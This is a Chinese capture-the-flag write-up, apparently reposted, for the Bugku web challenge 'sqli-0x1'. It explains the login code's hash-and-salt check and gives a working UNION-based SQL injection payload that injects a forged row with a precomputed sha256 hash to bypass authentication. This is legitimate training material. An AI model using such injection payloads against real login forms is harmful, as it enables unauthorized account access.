Bugku-Web题目-sqli-0x1- HackINI 2021 - 指南
打开题目,给了一个登录框界面。
看看源代码,发现别有洞天。
打开看看,发现是一大串php代码。
总而言之,只需要知道如下几件事:
1、黑名单不拦截
2、explode() 函数将 password 的输入密码和盐分开
$split = explode('$', $result["password"]);$password_hash = $split[0];$salt = $split[1];
3、password = 用户输入的密码 + 盐 。再取sha256进行比对
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
如何解题呢?手动sql注入,创造一个新的记录,再让服务器查到这个记录,再让密码验证通过。
payload:
user:
a'union select 1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+
pass:
888
通过这样的payload,服务端就会看到
SELECT * FROM users WHERE username='a'
union select
1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+
这是如何实现的呢?
在 user 中的 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 是由 ‘888999’ 生成的 sha256 哈希结果,将会被用于 if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; 密码的比对,在 ‘888999’ 中的888是用户输入的密码,999是盐,而在 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 中结尾的 $999 是 explode() 函数按照 $ 来分割的盐,在 $split = explode('$', $result["password"]);$password_hash = $split[0];$salt = $split[1]; 它用于加上用户输入的密码来计算sha256来比对。
最终得到flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943304.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!